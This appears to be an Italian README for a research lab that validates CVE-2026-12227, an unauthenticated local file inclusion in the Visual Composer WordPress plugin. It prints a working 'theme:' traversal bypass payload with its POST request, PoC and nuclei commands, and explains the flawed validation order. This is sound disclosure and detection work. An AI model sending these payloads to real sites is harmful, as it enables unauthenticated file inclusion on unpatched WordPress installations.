Laboratorio di validazione Docker e PoC safe-oracle per CVE-2026-12227, una LFI non autenticata in Visual Composer tramite vcv-template, con un template di rilevamento nuclei.
Materiale di ricerca sulla sicurezza per riprodurre e validare CVE-2026-12227: una local file inclusion non autenticata nella risoluzione dei page-template di Visual Composer Website Builder (CVSS 3.1 9.8), più una discrepanza verificata nella correzione del vendor (vedi sotto).
locate_template(), dalla correzione di CVE-2026-87902) - il codice del
plugin stesso non è mai stato corretto fino alla 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98Usare solo su sistemi di propria proprietà o per i quali si è esplicitamente autorizzati a eseguire test. Il PoC attiva include oracle innocue (output standard di
wp-links-opml.php/xmlrpc.php). Nessun posizionamento di file, nessuna scrittura, nessun payload RCE.
Stato: dimostrato nel lab fornito.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
La prova a livello di marker (un file PHP piazzato in uploads/ incluso ed
eseguito, GET non autenticata) fa parte delle evidenze del lab ed è riprodotta
da ./lab verify sulla variante vulnerabile.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
aggancia template_include con priorità 11 senza alcun controllo di autenticazione:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() rifiuta il .. letterale. Ma il valore viene fuso solo dopo
il controllo, quindi suddividere ogni traversal attraverso un confine theme:
lo fa passare:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) restituisce
$_POST/$_GET/$_REQUEST grezzi, quindi nulla a monte lo ripulisce.
locate_template() risolve il candidato con file_exists(), che rispetta
i segmenti ...
WordPress 7.1.2 (la correzione di CVE-2026-87902) ha aggiunto
_wp_is_template_path_allowed() dentro locate_template()
(wp-includes/template.php). Quel gate del core rifiuta il candidato
traversal fuso, quindi su WP 7.1.2+ questa catena del plugin è mascherata
dal core - il plugin non è mai stato corretto. Attribuzione verificata
in-lab: su 7.1.2 il sink viene comunque eseguito ma è confinato alla
directory del tema; su 7.1.1 riesce a uscirne.
Conseguenza pratica: un sito che esegue Visual Composer 45.16.3 (la release corrente, pubblicizzata come corretta) su WordPress <= 7.1.1 è ancora oggi vulnerabile a LFI non autenticata. Solo l'aggiornamento del core di WordPress la neutralizza.
Requisiti: Docker con Compose v2, Python 3.10+ sull'host.
./lab verify
Esegue tre controlli: vulnerabile (WP 7.1.1 + VC 45.16.1, l'oracle deve attivarsi), corretto (WP 7.1.2 + VC 45.16.1, l'oracle deve restare silenzioso), latest (WP 7.1.1 + VC 45.16.3, l'oracle deve attivarsi - la dimostrazione della discrepanza nella correzione).
Controllo vulnerabile:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Controllo corretto:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
Eseguire il PoC a mano (loopback predefinito; i target esterni autorizzati richiedono l'override esplicito):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
Il template nuclei (nuclei/cve-2026-12227.yaml) attiva gli stessi payload
oracle su homepage + anchor page_id a profondità 3-6 con
stop-at-first-match.
| Combinazione | Risultato |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= codice 45.16.0) | LFI riprodotta (oracle + esecuzione del marker piazzato) |
| WP 7.1.1 + VC 45.16.3 (release corrente) | LFI si attiva ancora |
| WP 7.1.2 + VC 45.16.1 | Silenzioso (mascherato dal gate del core) |
| VC 45.16.2 | diff della correzione esaminato; percorso vulnerabile invariato (non eseguito separatamente) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
Non committati: assets/ (zip dei plugin), .lab-state, __pycache__/.
| Affermazione | Stato |
|---|---|
| LFI non autenticata fino all'esecuzione PHP fuori dalla directory del tema | Dimostrato (oracle + marker piazzato) |
| Correzione del vendor assente fino alla 45.16.3 | Dimostrato (diff del codice + attivazione live su 45.16.3) |
| Mascheramento del core WP 7.1.2 | Dimostrato (stessa richiesta silenziosa su 7.1.2, si attiva su 7.1.1) |
| Semantica della profondità | 3 risalite fino alla docroot da themes//; lo sweep copre 3-6 |
| RCE tramite catene pearcmd/write su target reali | Non eseguito (PoC solo con oracle sicura) |
| 45.16.0 (release originale affetta) | Identica nel codice alla 45.16.1; il suo zip wp.org manca di vendor/ e non può essere installato |
Gli advisory indicano la correzione come introdotta nella 45.16.1, ma il
percorso di codice vulnerabile è invariato in ogni release fino alla 45.16.3
(verificato tramite diff degli alberi e attivazione live). Se si mantiene
Visual Composer: viewPageTemplate() deve rivalidare (o rifiutare) il valore
dopo lo strip di theme:, non prima. I siti non dovrebbero fare affidamento
sugli aggiornamenti del plugin per questo caso - è l'aggiornamento del core
di WordPress 7.1.2 che effettivamente lo chiude.
Eseguire questo repository solo su sistemi di propria proprietà o per i quali
si è esplicitamente autorizzati a eseguire test. Il driver del lab rifiuta
varianti sconosciute, il PoC rifiuta target non-loopback a meno che non venga
fornito --allow-authorized-non-loopback, e la porta di Compose è vincolata a
127.0.0.1.
Vedere SECURITY.md per la gestione della divulgazione. Questo repository non include target di produzione, dati dei clienti, token di accesso o evidenze da sistemi reali.
MIT - vedere LICENSE.